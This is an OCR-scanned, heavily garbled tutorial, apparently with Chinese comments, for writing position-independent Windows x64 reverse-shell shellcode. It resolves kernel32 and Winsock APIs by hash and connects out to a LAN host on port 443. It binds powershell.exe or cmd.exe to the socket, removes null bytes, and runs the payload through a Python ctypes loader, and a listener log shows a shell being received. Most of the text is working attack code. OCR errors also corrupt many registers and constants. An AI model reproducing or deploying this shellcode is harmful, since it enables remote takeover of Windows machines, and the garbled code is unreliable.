" call parse module;" # [IWSASocketA[IIT]
" sub rsp, 0x38;" # 1111

XOr rcx, rcx;

" mov cl, 2;" # [1I11] mov rcx, 2; # af[RIILIT
! xor rdx, rdx;"

" mov di, 1;" # type[l IR

! xor r8, r8;"

" mov r8b, 6;" # protocol[BIIBIN

" xor r9, ro9;" # 1pProtocolInfo[PITHAON

0 mov [rsp+0x20], r9;" # g[POIP O

" mov [rsp+0x28], r9;" # dwFlags[POIBIIIIIIIT]
" call rax;" # [1] WSASocketA[T]

" mov rl2, rax;" # [IIIbocketITITIITR12[ITRAXIIIIT]
" add rsp, 0x38;" # 110

"call wsaconnect:"

" mov r9, rbx;"

" mov r8d, 0xb32dbalc;" # WSAConnect[T]

" call parse module;" # [IWSAConnect[T]

" sub rsp, 0x20;" # [bocketaddr [IIIIIIII] ( >=0x18[I)



mov rcx, rlz2;" # [IWSASocket A[TTTTITITRCXIIN[IT
xor rdx, rdx;"

mov dl, 2;" # sin family[TTTTAF INET[TR

mov [rspl, rdx;" # [[Bocketaddr[IT]

xor rdx, rdx;"

mov dx, Oxbb0O1;" # [1111843

mov [rsp+2], rdx;" # [IIIIIIsocketaddr [IIITIIIL]
mov edx, 0x3d10b8d0;"

sub edx, 0x10101010;" # [TIP[192. 168. 0. 45

mov [rsp+4], rdx;" # [IP[ITkockaddr ITITITIT]
lea rdx, [rsp];" # [[kocketaddr IIIIIIIROO
xor r8, r8;"

mov r8b, 0x16;" # [[hamelen[[1Px16

xor r9, r9;" # 1lpCallerData[POTRIT

sub rsp, 0x38;" # (1111

mov [rsp+0x20], r9;" # 1pCalleeData[PIIB[IT]
mov [rsp+0x28], r9;" # 1pSQOS[PITR[IT

mov [rsp+0x30], r9;" # 1pGQOS[PIIF I

call rax;" # [IWSAConnect

add rsp, 0x38;" # 110

"call createprocess:"

mov r9, rbp;" # R9[Kernel32. dL1[T]

mov r8d, 0x16b3fe72;" # CreateProcessA[T]

call parse module;" # [[CreateProcessA[]

mov rdx, 0x10107588753e7c7c;"

mov rl3, 0x1010101010101010;"

sub rdx, ri13;" # [111'exe. 11"

push rdx;"

mov rdx, 0x6568737265776f70;" # [I11'ehsrewop"
push rdx;" # "powershell. exe" [I111]

mov rcx, rsp;" # [MI'powershell. exe" [TTTITRCXIIT]
push r12;" # [ISTDERROR[TWSASocketA[TT]

push r12;" # [TSTDOUTPUT[IWSASocketA[lT]

push r12;" # [T TDINPUT[IWSASocketAlT]

xor rdx, rdx;"

push dx;" # [IIdwF lags [P O
push rdx;"

push rdx;"

mov dl, Oxff;"



inc dx;"
. push dx;"
" xor rdx, rdx;"
dx; "

dx; "

! push
" push
" push rdx;"
" push rdx;"
! push rdx;"
" push rdx;"
push rdx;
" push

" mov dl, 0Ox68;"

rdx; "

" push rdx;"
! mov rdi, rsp;"
! mov rdx, rsp;"
sub rdx, 0x20;
! push rdx;"

" push rdi;"

! xor rdx, rdx;"
" push rdx;"

! push rdx;"

" push rdx;"

inc rdx;"

" push rdx;"

! xor rdx, rdx;"
" push rdx;"

" push rdx;"

" push rdx;"

" push rdx;"

mov rdx, rcx;"

XOr rcx, rcx;

! mov r8, rcx;

mov r9, rcx;

" call rax;"

# [TdwFlags[TPx100

# [TIc b TP M

# [Tkcb[IPx68
# [[STARTINFOATTIIT]

" # [ProcessInformation[ITIIIIIT]
# ProcessInformation[ITITITITROIT]
# STARTINFOA[IIIIIIIRLIT]

# lpCurrentDirectory[IPIIBIL]
# pEnvironment [PV 1]
# dwCreationFlags[IP[IIBI

# bInheritHandles[IL[IIB[IL]

# [T AOD 010
# [T BOD 010
# [T ROD 01T
# [T (L0 00T
# 1pCommandLine[T]' powershell. exe" [TTTITITRIT
# [lpCommandLine[ITTTlpApplicationName[TT]
# lpProcessAttributes[IPIIBIT]
# lpThreatAttributes[IPITHAIT

ks = Ks(KS_ARCH X86, KS MODE 64)

encoding,

count = ks. asm( CODE)



print("Encoded %d instructions..." % count)

Sh = bll n
for e in encoding:
sh += struct. pack("B", e)

shellcode = bytearray(sh)

ctypes. windll. kernel32. VirtualAlloc. restype = ctypes.c uint64

ptr = ctypes. windll. kernel32. VirtualAlloc(ctypes.c int(0),
ctypes. c_int(len(shellcode)),
ctypes. c_int(0x3000),
ctypes. c_int(0x40))

buf = (ctypes.c char * len(shellcode)). from buffer(shellcode)
ctypes. windll. kernel32. RtlMoveMemory( ctypes. ¢ uint64(ptr),

buf,

ctypes. c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))

input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes. windll. kernel32. CreateThread( ctypes. c int(0),
ctypes. c_int(0),
ctypes. c_uint64(ptr),
ctypes. c_int(0),
ctypes. c_int(0),
ctypes. pointer(ctypes.c int(0)))

ctypes. windll. kernel32. WaitForSingleObject(ctypes. c _int(ht), ctypes.c int(-1))



~/Desktop
xX64.py

[T11] start [TTTTITTTTTTTTT] OXOOITIIIIIT] 0x00 [IT1T1]

PIC

[I1] start [TT1H

T R A I T T T QO L T T T T TTT

"start:"
" sub rsp, 0x20;" # 111
! call find kernel32;"

" add rsp, 0x20;" # 1111

" mov rbp, rax;" # RBP[TKernel32. dl1[T]

" mov r8d, OxecOede8e;" # LoadLibraryAT]

" sub rsp, 0x20;" # 111

" call parse module;" # [1] LoadLibrar yAITITT]
" add rsp, 0x20;" # 111

mov rl2, rax;

! mov r8d, 0x7c0dfcaa;" # GetProcAddress|[T]

" sub rsp, 0x20;" # 110

" call parse module;" # [[GetProcAddress[ITIIIT]
" add rsp, 0x20;" # 111

" mov rl3, rax;"

! call load module;"

[0 Shellcode [TTTTIT] Kernel32.dIl [TTITTITIIT] jump_proxy [IT]
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CODE = (

"find kernel32:"

xor rdx, rdx;"

" mov rax, gs:[rdx+0x60];" # RAX[TEB[ProcessEnvironmentBlock[TTTTTPEB[T]

. mov rsi,[rax+0x18];" # [PEB[ITLDR[IIIII] PEB LDR DATA[IIIIT

" mov rsi,[rsi + 0x20];" # RSI[] PEB LDR DATAITInMemoryOrderModuleList[ITTT]
“jump _proxy:"

" jmp jump _section;"

[Jump_proxy [Jumpgection TTTIIIITOKQ0 [ITITI11]jump_prox@ IIIIIjump_section [TTIII1]

" jump section:"

" mov rbp, r9;" # RBP = Kernel32.dll Address

" mov r8d, OxecOede8e;" # LoadLibraryA Hash

" sub rsp, 0x30;"

. call parse module;" # Search LoadLibraryA's address
. add rsp, 0x30;"

" mov rl2, rax;" # R12 = LoadlLibraryA Address

" mov r8d, 0x7cOdfcaa;" # GetProcAddress Hash

" sub rsp, 0x30;"

! call parse module;" # Search GetProcAddress' address
" add rsp, 0x30;"

! mov rl3, rax;" # R13 = GetProcAddress Address

[OI T TITTITTITIT T CreateProcessA [ITTTTIT]

import ctypes, struct

from keystone import *

CODE = (

"find kernel32:"

xor rdx, rdx;

" mov rax, gs:[rdx+0x60];" # RAX[TEB[ProcessEnvironmentBlock[TTTTTPEB[T]



mov rsi,[rax+0x18];"

mov rsi,[rsi + 0x20];"

"next module:"

"check upper:

"check lower:"

# [PEB[IILDRIIIII] PEB LDR DATAMIIIN
# RSI[] PEB LDR DATA[ITTLnMemor yOrderModuleList[TT]T]

mov r9, [rsi + 0x20];" # RO [ITITIITITTT

mov rdi, [rsi + Ox50];" # RDI [ITPllBaseName[TBuffer [TTIIIIIIIIIIT]
mov rsi, [rsi];" # [0

add rdi, 2;" # (1K

mov
mov
sub
mov
mov
sub
mov
cmp
jne
mov
cmp
jne

jmp

mov
mov
sub
mov
mov
sub
mov
cmp
jne
mov
cmp

jne

rl2, 0x1055105E10621055;"

rax, 0x1010101010101010;"
riz,

ril3,

rax;"
0x103e10421043105c; "
rax, 0x1010101010101010;"

ril3,

rax;
rdx, qword ptr [rdi];"
rdx, rlz;"

check lower;"

rdx, qword ptr [rdi + 8];
# MR- 23L" [
# [T

rdx, ril3;"

next module;"

jump _proxy;"

rl2, 0x1075107E10821075;"

rax, 0x1010101010101010;"
ri2,

ris,

rax;
0x103e10421043107c; "
rax, 0x1010101010101010;"

ril3,

rax;
rdx, qword ptr [rdi];"

rdx, rl2;"

: # [T1'ERNEL32. " [IT]

# Unicode[TT] "ENRE"[[Px1010101010101010

# Unicode[IT] ". 23L" [[Px1010101010101010

# [III "ERNEL32. DLL" [ITRDX

# [TALIII ENRE" [T]
# [T

# [T - 23L" [(JTRDX

# [['ernel32. "[I1]

# Unicode[]]] "enre"[[Px10101010

# Unicode[TT] ". 231" [[Px10101010

next module;"

# [T

rdx,
rdx, ri3;"

next module;"

“jump _proxy:"

gword ptr [rdi + 8];'



jmp jump_section;"

"parse module: " # [TIIIIPLLM

" mov ecx, dword ptr [r9 + 0x3c];" # RO[IITIIITITIINTOT
xor rl5, rl15;"

" mov rl15b, 0Ox88;"

! add rl15, r9;"

" add rl15, rcx;"

" mov rl5d, dword ptr [rl15];" # [IIIIITIRVA

" add r15, r9;" # RLA[TTITIITVMA

! mov ecx, dword ptr [rl5 + Ox18];" # ecX[ITITITIIIIIIIIN
" mov rl4d, dword ptr [rl5 + 0x20];" # [TENPT[RVA
" add rl4, r9;" # R14 [JTENPT[VMA

"search function:" # (11110

" jrcxz not found;" # [TRCXPOIIIIIIIO

" dec ecx;" # (11110

" xor rsi, rsi;"

" mov esi, [rl4 + rcx*4];" # [TIIIIITRVA

" add rsi, r9;" # RSI [IIIIII1D

"function hashing: " # 111111

Xor rax, rax;"

xor rdx, rdx;"

" cld; " # [IDPF[IO
"iteration:" # 11110

" lodsb; " # RSI[TIIIIIITAL
" test al, al;" # [0
" jz compare_hash;" # 111
" ror edx, 0x0d;" # (11110
" add edx, eax;" # (11110
" jmp iteration;" # 1111
“compare_hash:" # 110

" cmp edx, r8d;"

" jnz search function;" # (10 ( O
" mov rl10d, [rl5 + 0x24];" # [TTRVA
" add rl1o, r9;" # [TTVMA

" movzx ecx, word ptr [rl0 + 2*rcx];" # 1111 -1



! mov rlld, [r15 + Oxlc];" # EAT[RVA

" add rl11, ro9;" # EAT[IVNA

" mov eax, [rll + 4*rcx];" # RAX[IITRVA
" add rax, ro;" # RAX[ITITINVMA

! ret;"

"not found:"

" ret;"

jump section:"
" mov rbp, r9;" # RBP[Kernel32. dl1[1]
" mov r8d, OxecOede8e;" # LoadlLibraryA]

" sub rsp, 0x20;"

! call parse module;" # [TloadLibraryA[T]

! add rsp, 0x20;"

" mov rl2, rax;" # R12[lLoadLibraryA[]

! mov r8d, 0x7cOdfcaa;" # GetProcAddress[T]

" sub rsp, 0x20;"

" call parse module;" # [[GetProcAddress[[address
" add rsp, 0x20;"
" mov rl3, rax;" # R13[GetProcAddress[]]

"load module: "

Xor rax, rax;

" mov ax, Ox6c6c;" # 110 " L1" [ITRAX

" push rax;" # 1111

" mov rax, 0x642E32335F325357;" # [TI1]'WS2 32. D" [ITRAX
" push rax;" # 1110

" mov rcx, rsp;" # RCX[II'ws2 32. dL1\0" [1T]

" sub rsp, 0x20;" # 111

" mov rax, rlz2;" # RAX[LoadLibraryA[]

" call rax;" # LoadLibraryA("ws2 32.dl1")

" add rsp, 0x20;" # 1111

" add rsp, 0x10;" # 1] "ws2 32. dl1" [T
" mov rl4, rax;" # R14[JTws2 32. dll[ID0

"call wsastartup:"
" mov r9, rax;" # R9[ITws2 32.dl1[IT]
" mov r8d, Ox3bfcedch;" # WSAStar tup[IT]



mov rbx, r9;" # [ws2 32. dUIITITRBXIT]

" call parse module;" # [IIIIWSAStar tup[IIIT]
! Xor rcx, rcx;"

! mov cXx, 0x198;"

" sub rsp, rcx;" # [QIIITTNpWSDATALTTT

" lea rdx, [rspl;" # [LpWSAData[JITRDXITIIIRI
Xor rcx, rcx;"
! xor rl3, rl13;"

! mov cX, 0Ox1313;"

mov rl3w, 0Ox1111;"

" sub rcx, ril3;" # [Px202[TwVersionRequired[TTRCXITIITL ]
" sub rsp, 0x30;" # 110

" call rax;" # [TWSAStartup

" add rsp, 0x30;" # 111

"call wsasocket:"

" mov r9, rbx;"

" mov r8d, Oxadf509d9;" # WSASocketATT]
. call parse module;" # [IWSASocketA[ITT]
" sub rsp, 0x30;" # 110

! XOr rcx, rcx;

" mov cl, 2;" # [1I111] mov rcx, 2; # af[RITLIOT
! xor rdx, rdx;"

" mov dl, 1;" # type[lOIRIO

! xor r8, rg;"

" mov r8b, 6;" # protocol[BIIBIT]

" xor r9, ro9;" # 1pProtocolInfo[PITHAON

" mov [rsp+0x20], r9;" # g[PIPIITIIITT

" mov [rsp+0x28], r9;" # dwFlags[PIIBOIITIITT]
" call rax;" # [1] WSASocketA[T]

" mov rl2, rax;" # [[IIbocket[IIIIIITRI2[ITRAXIIIIT
" add rsp, 0x30;" # (1111

"call wsaconnect:"

" mov r9, rbx;"

" mov r8d, Oxb32dbalOc;" # WSAConnect[]]

" call parse module;" # [IWSAConnect[]]

" sub rsp, 0x20;" # [bocketaddr [IIIIIIII] ( >=0x18[I)
" mov rcx, rlz2;" # [WSASocket A[TTTTITITRCXIIN[IT]

xor rdx, rdx;"



mov dl, 2;" # sin family[ITITAF INET[R

mov [rspl, rdx;" # [[kocketaddr[IT]

xor rdx, rdx;"

mov dx, Oxbb01;" # [1111843

mov [rsp+2], rdx;" # [IIIIITsocketaddr [TTTITITT
mov edx, 0x3d10b8d0;"

sub edx, 0x10101010;" # [TIP[192. 168. 0. 45
mov [rsp+4], rdx;" # [IP[IIkockaddr ITIIIIIT]
lea rdx, [rspl;" # [[Bocketaddr [IITIIIIIRIIL]
xor r8, r8;"

mov r8b, 0x16;" # [Thamelen[IIPx16

xor r9, ro9;" # 1lpCallerData[PITHRIT]

sub rsp, 0x38;" # 110

mov [rsp+0x20], r9;" # lpCalleeData[PITh[T]
mov [rsp+0x28], r9;" # 1pSQOS[POThIT]

mov [rsp+0x30], r9;" # 1pGQOS[PITIVIT

call rax;" # [IWSAConnect

add rsp, 0x38;" # 111

"call createprocess:"

mov r9, rbp;" # R9[Kernel32. dL1[T]

mov r8d, 0x16b3fe72;" # CreateProcessA[T]

call parse module;" # [ICreateProcessA[T]

sub rsp, 8;" # 10

mov rdx, 0x10107588753e7c7c;"

mov rl13, 0x1010101010101010;"

sub rdx, ri13;" # [11]'exe. 11"

push rdx;"

mov rdx, 0x6568737265776f70;" # [111'ehsrewop"
push rdx;" # "powershell. exe" [TT11J

mov rcx, rsp;" # [1I'powershell. exe" [TTTTTRCXIIT]
push r12;" # [ISTDERROR[TWSASocketA[TT]

push r12;" # [IPTDOUTPUT[IWSASocketA[TT]

push r12;" # [TSTDINPUT[IWSASocketA[IT]

xor rdx, rdx;"

push dx; " # [TTdwrF Lags [T T
push rdx;"

push rdx;"

mov dl, Oxff;"

inc dx;"



" push

dx; " # [TdwFlags[TPx100

" xor rdx, rdx;"

! push
! push
" push
" push
" push
" push
! push
push

dx; " # [T b IR O
dx; "
rdx; "
rdx; "
rdx; "
rdx; "
rdx; "

rdx;

" mov dl, Ox68;"

" push

rdx; " # [Icb[IPx68

mov rdi, rsp;" # [IBTARTINFOAIIITY

" mov rdx, rsp;"

" sub rdx, 0x20;" # [ProcessInformation[ITTIIIIT]
" push rdx;" # ProcessInformation[ITITITITROIT]
" push rdi;" # STARTINFOA[IIIIIIIRLIT]

xor rdx, rdx;"

" push rdx;" # 1lpCurrentDirectoryIPIIBIT
" push rdx;" # 1pEnvironment [PV I

" push rdx;" # dwCreationFlags[IPIIbBIT]

" inc rdx;"

" push rdx;" # bInheritHandles[TIL[ITP[II]

xor rdx, rdx;"

! push rdx;" # [ BOD 10

! push rdx;" # [T BOD 010

! push rdx;" # [T [ROD 010

! push rdx;" # [T (LD 010

" mov rdx, rcx;" # 1pCommandLine[]]'powershell. exe" [(ITTITITROT]
! Xor rcx, rcx;" # [IllpCommandLine[ITTTLpApplicationName[]T]

" mov r8, rcx;" # lpProcessAttributes[IPIIBIT]

" mov r9, rcx;" # lpThreatAttributesIPOTHIT

" call rax;"

ks = Ks(KS_ARCH_X86, KS_MODE 64)

encoding,

count = ks. asm( CODE)

print("Encoded %d instructions..." % count)

]



sh = bll n
for e in encoding:
sh += struct. pack("B", e)

shellcode = bytearray(sh)

ctypes. windll. kernel32. VirtualAlloc. restype = ctypes.c uint64

ptr = ctypes. windll. kernel32. VirtualAlloc(ctypes.c int(0),
ctypes. c_int(len(shellcode)),
ctypes. c_int(0x3000),
ctypes. c_int(0x40))

buf = (ctypes.c char * len(shellcode)). from buffer(shellcode)
ctypes. windll. kernel32. RtlMoveMemory( ctypes. c_uint64(ptr),

buf,

ctypes. c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))

input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes. windll. kernel32. CreateThread(ctypes. c _int(0),
ctypes. c_int(0),
ctypes. c uint64(ptr),
ctypes. c_int(0),
ctypes. c_int(0),
ctypes. pointer(ctypes.c int(0)))

ctypes. windll. kernel32. WaitForSingleObject(ctypes. c int(ht), ctypes.c int(-1))

[ITIShellcode [TTT1T] 0x00 [TIIIT] Shellcode [TIITIT]



~/Desktop
xX64.py

~/Desktop
X64.py
Encoded 219 ipnstructions
of shell 703

MTOTTOTTI T TTOTA T Shellcode QT

T T T Kernel 32.d1E T T

[T1T] Kernel32.dll [IT]
Msfvenom [T]TT1]0x00 [1T] TG TEAENTITIT] 200 111

~/Desktop
windows /64 shellcode
[-]1 No platfo
[-1 No
Found

de pa
with
fina

hon file

(IIITITInMemoryOrderLda@list AYdIIL.dIl -> kernel3
-> kernel32.dI[TITTIIT

WinDBG [IT11] pirthiondexe [T e T

[T Kernel32.dIl [T

" locate kernel32:"

xor rdx, rdx;"
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mov rax, gs:[rdx + 0x60];"
mov rsi, [rax + 0x18];"

" mov rsi, [rsi + 0Ox20];"

" mov r9, [rsi];" # [IIpython. exe
! mov r9, [r9];" # [IIhtdll. dll
" mov r9, [r9+0x20];" # [IIkernel32. dl1

jmp jump_section;"

[T S6® [IIIIIIMsfvenom TTTT]

~/Desktop
X64.py
ed 189 instructions...

~/Desktop
X64.py

[Jump_section [TTTTTTITITTIITTTTITTITTIIT

s hEIdOdE TITTITITIITITIU M P FEdH oG &tPTdrAddress [T

jump section:"

" mov rbp, r9;" # RBP[Kernel32. dl1[T]

" mov r8d, OxecOede8e;" # LoadlLibraryAT]
! call parse module;" # [TlLoadLibraryA[T]
" mov rl2, rax;" # R12[loadLibraryA[]

[ITTTT] Shellcode [TTTTT] 532 [TITTTTTITIT]
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~/Desktop
XG4 . py
instructions ...

~/Desktop
XG4 . py

[T

[IITIT] Sheligopd TOrEdtaR T EEFEA TTTTTTTT1 "powershell.0xa 0 1PIOAORAX
NOT 1T}

" mov rdx, Oxffff9a879ad19393;" # NOT "exe. 11"

" not rdx;"

(LITTIT]

"call createprocess:"

" mov r9, rbp;" # R9[Kernel32. dL1[T]

" mov r8d, 0Ox16b3fe72;" # CreateProcessA[T]
" call parse module;" # [ICreateProcessA[]
! sub rsp, 8§;"

" mov rdx, Oxffff9a879adl19393;" # NOT "exe. 11"

" not rdx;"

" push rdx;"

" mov rdx, 0x6568737265776f70;" # [111'ehsrewop"

" push rdx;" # "powershell. exe" [T111]

" mov rdx, rsp;" # [1I'powershell. exe" [TTTTTRCXIIT]
" push r12;" # [ISTDERROR[TWSASocketA[IT]

" push riz;" # [ISTDOUTPUT[IWSASocketA[TT]

" push r12;" # [TSTDINPUT[IWSASocketA[IT]

XOr rcx, rcx;

push cx;" # [IMwFlags T M

push rcx;"
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push rcx;"

! mov cl, Oxff;"

inc cx;"

! push cx;" # [THdwFlags[TPx100

X0or rcx, rcx;

! push cx;" # [Ic b (TP M T

" push cx;
! push rcx;"
" push rcx;"

push rcx;

" push rcx;
" push rcx;"

" push rcx;"

" mov cl, Ox68;"

" push rex;" # [Ikb[IPx68

" mov rdi, rsp;" # [IPTARTINFOATITIT]

mov rcx, rsp;"

" sub rcx, 0x20;" # [ProcessInformation[TTTTTTTT]
" push rcx;" # ProcessInformation[ITTIITITROIT]
" push rdi;" # STARTINFOAIITITIIRT

! Xor rcx, rcx;"

" push rcx;" # 1pCurrentDirectoryIPIIBIT

" push rcx;" # 1pEnvironmentIPITF7 OO

" push rcx;" # dwCreationFlags[IPIIbB[IT]

" inc rcx;"

" push rcx;" # bInheritHandles[TL[IIP[II]

" dec cl;"

! push recx;" # [T (MO0 010

! push rcx; " # [ BOD 10

! push rcx; " # I [(ROD 10

! push rcx;" # [T 0D 10

" mov r8, rcx;" # lpProcessAttributes[IPIIBIT]
" mov r9, rcx;" # lpThreatAttributes[IPITHAIT
! call rax;"

(507 [TIITITTIT]



~/Desktop

Payload
buf
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buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
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buf
buf
buf
buf
buf
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~/Desktop
H6h . py 0=00

(IIIIIIII Shellcode[IITT] Msfvenom [[T)&Ginel leod! [['poavigishiglliexe" [TT1]1] cmd.exe [TTIITIIIIIIT
"powershell.exe" [T1] "cmd.exe"[]

mov rdx, Oxff9a879adl19b929c;"

not rdx;"

" push rdx;"

(LTITIT]

import ctypes, struct

from keystone import *

CODE = (

"find kernel32:"
" xor rdx, rdx;"

" mov rax, gs:[rdx+0x60];" # RAX[JTEB[ProcessEnvironmentBlock[TTTTTPEBI[T]
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" mov rsi,[rax+0x18];" # [PEB[ITI-DR[ITIIT] PEB_LDR DATAMITIT]

! mov rsi,[rsi + 0x20];" # RSI[] PEB LDR DATA[TTEnMemoryOrderModulelList[TTIT]
" mov r9, [rsi];" # [IIpython. exe

" mov r9, [r9];" # [IIhtdll. dl1

mov r9, [r9+0x20];" # [IIkernel32. dl1

jmp jump section;"

"parse module:" # [IIIIIPLL

" mov ecx, dword ptr [r9 + 0x3c];" # RO[IITIIITITIINTIT
xor rl5, ri15;"

" mov rl15b, Ox88;"

! add rl15, ro9;"

" add r15, rcx;"

" mov rl5d, dword ptr [rl15];" # [IIIIITRVA

" add r15, r9;" # RLA[TTITTITVMA

" mov ecx, dword ptr [rl5 + Ox18];" # eCX[ITITITIIITTIITT
" mov rl4d, dword ptr [rl5 + 0x20];" # [TENPT[RVA
" add rl4, r9;" # R14 [JTENPT[VMA

"search function:" # 11110

" jrcxz not found;" # [TRCX[PIIIIIIIO

" dec ecx;" # [1I11L

" xor rsi, rsi;"

" mov esi, [rl4 + rcx*4];" # [IIIIIITRVA

! add rsi, r9;" # RSI [IITIITIT]

"function hashing: " # [TII111

Xor rax, rax;"

xor rdx, rdx;"

" cld; " # [IPFTI
"iteration:" # (11110

" Tlodsb;" # RSIIIITITITAL
" test al, al;" # [T
" jz compare_hash;" # 111
" ror edx, 0x0d;" # (11110
" add edx, eax;" # 11110
! jmp iteration;" # 1110

"compare_hash:" # 111



cmp edx, r8d;"

jnz search function;"

# [ (011D

mov rl10d, [rl5 + 0x24];" # [ITRVA
add r10, r9;" # [TTVMA
movzx ecx, word ptr [rl0® + 2*rcx];" # 1111 -1
mov rlld, [r15 + Oxlc];" # EAT[RVA
add rl11, r9;" # EAT[IVNA
mov eax, [rll + 4*rcx];" # RAX[IITRVA
add rax, ro;" # RAX[ITIINVMA
ret;"
not found:"
ret;"
jump section:"
mov rbp, r9;" # RBP = Kernel32.dll Address

mov r8d, OxecOede8e;"

call parse module;"

# LoadLibraryA Hash

# Search LoadlLibraryA's address

mov rl2, rax;" # R12 = LoadlLibraryA Address

load module: "

X0or rax, rax;

mov ax, 0x6cébe;"

# [II0 "11" [IIRAX

push rax;" # (1110

mov rax, 0x642E32335F325357;" # [I111'WS2 32. D" [ITRAX
push rax;" # 1111

mov rcx, rsp;" # RCX[II'ws2 32. dL1\0" [1T]

sub rsp, 0x20;" # 111

mov rax, rlz;" # RAX[LoadLibraryA[T]

call rax;" # LoadLibraryA("ws2 32.dll1")

add rsp, 0x20;" # 111

mov rl4, rax;" # R14[0Tws2 32. dll[10

call wsastartup:"
mov r9, rax;

mov r8d, Ox3bfcedcb;"

. # RO[[Tws2 32. dLL[IT

# WSAStartup[IT]

mov rbx, r9;" # [ws2 32. dUUIITITRBXIT]

call parse module;"

X0or rcx, rcx;

mov cXx, 0x198;"

# [TITIWSAStar tup[IT1T]



" sub rsp, rcx;" # [IIITTNpWSDATATTT
. lea rdx, [rspl;" # [LpWSAData[TTTRDXIIIITRIT]

! mov cXx, 0x202;"

" sub rsp, 0x30;" # (1111
" call rax;" # [IWSAStartup
" add rsp, 0x30;" # 110

"call wsasocket:"

" mov r9, rbx;"

" mov r8d, 0xadf509d9;" # WSASocketA[TIT]

" call parse module;" # [TWSASocketA[TTT]

" sub rsp, 0x30;" # 110

! Xor rcx, rcx;"

" mov cl, 2;" # (1110 mov rcx, 2; # af[RIILIDO
" xor rdx, rdx;"

" mov dl, 1;" # type[lITRIN

" xor r8, r8;"

. mov r8b, 6;" # protocol[BIIBIT]

" xor r9, r9;" # 1pProtocolInfo[PITHIT]

" mov [rsp+0x20], r9;" # g[PIIPIITIIITT

" mov [rsp+0x28], r9;" # dwFlags[POIBOIITIIIT]
" call rax;" # [11 WSASocketA[T]

" mov rl2, rax;" # [[IIkocketIITIITRI2[ITRAXIIIIT]
" add rsp, 0x30;" # 111

"call wsaconnect:"

" mov r9, rbx;"

" mov r8d, 0xb32dbalc;" # WSAConnect[T]

" call parse module;" # [IWSAConnect[T]

" sub rsp, 0x20;" # [bocketaddr [ITIIIII1] ( >=0x18[I)
" mov rcx, rlz2;" # [WSASocketA[TTITITITRCXIILIT

! xor rdx, rdx;"

" mov dl, 2;" # sin_ family[ITTTAF INET[IR

" mov [rspl, rdx;" # [Ikocketaddr[IT]

xor rdx, rdx;"

" mov dx, Oxbb01;" # (1111843

" mov [rsp+2], rdx;" # [IIII1Tsocketaddr OTITITIT]
" mov edx, 0Oxd2ff5740;"

" neg edx;"

mov [rsp+4], rdx;" # [MIP[IIkockaddr TTIITITIN



#" xor r
# " mov [
! lea
" xor
mov
xor
! sub
" mov
" mov
mov
" call
! add

8, rg;" 11

rsp+8], rg;" # [J sin zero[IPOITROIIIIIIIIITITshellcode[T]
rdx, [rspl;" # [Ikocketaddr [TITTIIITRIT
rg, rg;"

r8b, 0x16;" # [Thamelen[IIPx16

ro, r9;" # 1pCallerDataPITAOMO

rsp, 0x38;" # (111

[rsp+0x20], r9;" # lpCalleeData[PIIh[IT]
[rsp+0x28], r9;" # 1pSQOS[PITIhIT]
[rsp+0x30], r9;" # 1pGQOS[PIIVI

rax;" # [IWSAConnect

rsp, 0x38;" # (111

"call createprocess:"

" mov r9, rbp;" # R9[Kernel32. dL1[T]

" mov r8d, 0x16b3fe72;" # CreateProcessA[T]

" call parse module;" # [ICreateProcessA[T]

! mov rdx, 0xff9a879adl9b929c;" # NOT "exe. dmc"

" not rdx;"

" push rdx;"

" mov rdx, rsp;" # [1I'powershell. exe" [ITTTTRCXITT
! push r12;" # [[STDERROR[TWSASocketA[IT]

" push r12;" # [IPTDOUTPUT[IWSASocketA[T]

" push ri12;" # [IBTDINPUT[IWSASocketA[IT]

! Xor rcx, rcx;"

! push cx;" # [ITdwF lags [TITTO T
" push rcx;"

" push rcx;"

" mov cl, Oxff;"

inc

! push
! xor

push
" push
" push
" push
! push
! push
" push
" push

cx; "

cx; "

rcx, rcx;

cX;

cx;

rcx;

rcx;

rcx;

rcx;

rcx;

rcx;

# [THdwFlags[TPx100

# [IIc b (TP M




" mov cl, 0Ox68;"
" push rcx;" # [[cb[1Px68
" mov rdi, rsp;" # [IBTARTINFOA[IITIIT

mov rcx, rsp;"

" sub rcx, 0x20;" # [ProcessInformation[ITIIIIIT]
" push rcx;" # ProcessInformation[ITITITITLOIT
" push rdi;" # STARTINFOAIIIIIIIPOD

" Xor rcx, rcx;"

! push rcx;" # lpCurrentDirectoryIPIIBIN

" push rcx;" # 1pEnvironmentIPIIF7 OO

" push rcx;" # dwCreationFlags[IPIIbBIT]

" inc rcx;"

" push rcx;" # bInheritHandles[TL[IIP[IL]

" dec cl;"

! push rcx; " # [T BOD 010

! push rcx;" # [T [BOD 010

! push rcx; " # [T ROD 10

! push rcx; " # [T 0D 010

" mov r8, rcx;" # \pProcessAttributes[IPIIBIT]
" mov r9, rcx;" # lpThreatAttributesIPITHIT
" call rax;"

ks = Ks(KS_ARCH X86, KS MODE 64)
encoding, count = ks. asm( CODE)

print("Encoded %d instructions..." % count)

sh = bll n
for e in encoding:
sh += struct. pack("B", e)

shellcode = bytearray(sh)

ctypes. windll. kernel32. VirtualAlloc. restype = ctypes.c uint64

ptr = ctypes. windll. kernel32. VirtualAlloc(ctypes.c int(0),
ctypes. c_int(len(shellcode)),
ctypes. c_int(0x3000),
ctypes. c_int(0x40))



buf = (ctypes.c char * len(shellcode)). from buffer(shellcode)
ctypes. windll. kernel32. RtlMoveMemory( ctypes. c_uint64(ptr),

buf,

ctypes. c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes. windll. kernel32. CreateThread( ctypes. c _int(0),
ctypes. c_int(0),
ctypes. c_uint64(ptr),
ctypes. c_int(0),
ctypes. c_int(0),

ctypes. pointer(ctypes. c int(0)))

ctypes. windll. kernel32. WaitForSingleObject(ctypes. c int(ht), ctypes.c int(-1))

[(IIT1T] Shellcode [TT11] 0x00 [TZBITIITM$NERAM TTTTT]
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~/Desktop
X64 . py x00
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~fDesktop

listening on [a
connect to [192.168.¢ (NOWN) [192.168.8.37]
osoft Windows ~d 1.1992]

‘hts reserved.

\Users\Administr
powershell
Windows Pow
Copyright (C) Microsoft Corporation. ALl rights reserved.

Install the 1la PowerShell for new features and improvements! https ka.ms/PSWindows

C:i\UsershA

[T
(T \Wiwe Exesd=[CHEate ProcessA [[[ICreateProcessA [TIIIIIIIIIIT] Shellcode [TTTTWinExec [IT

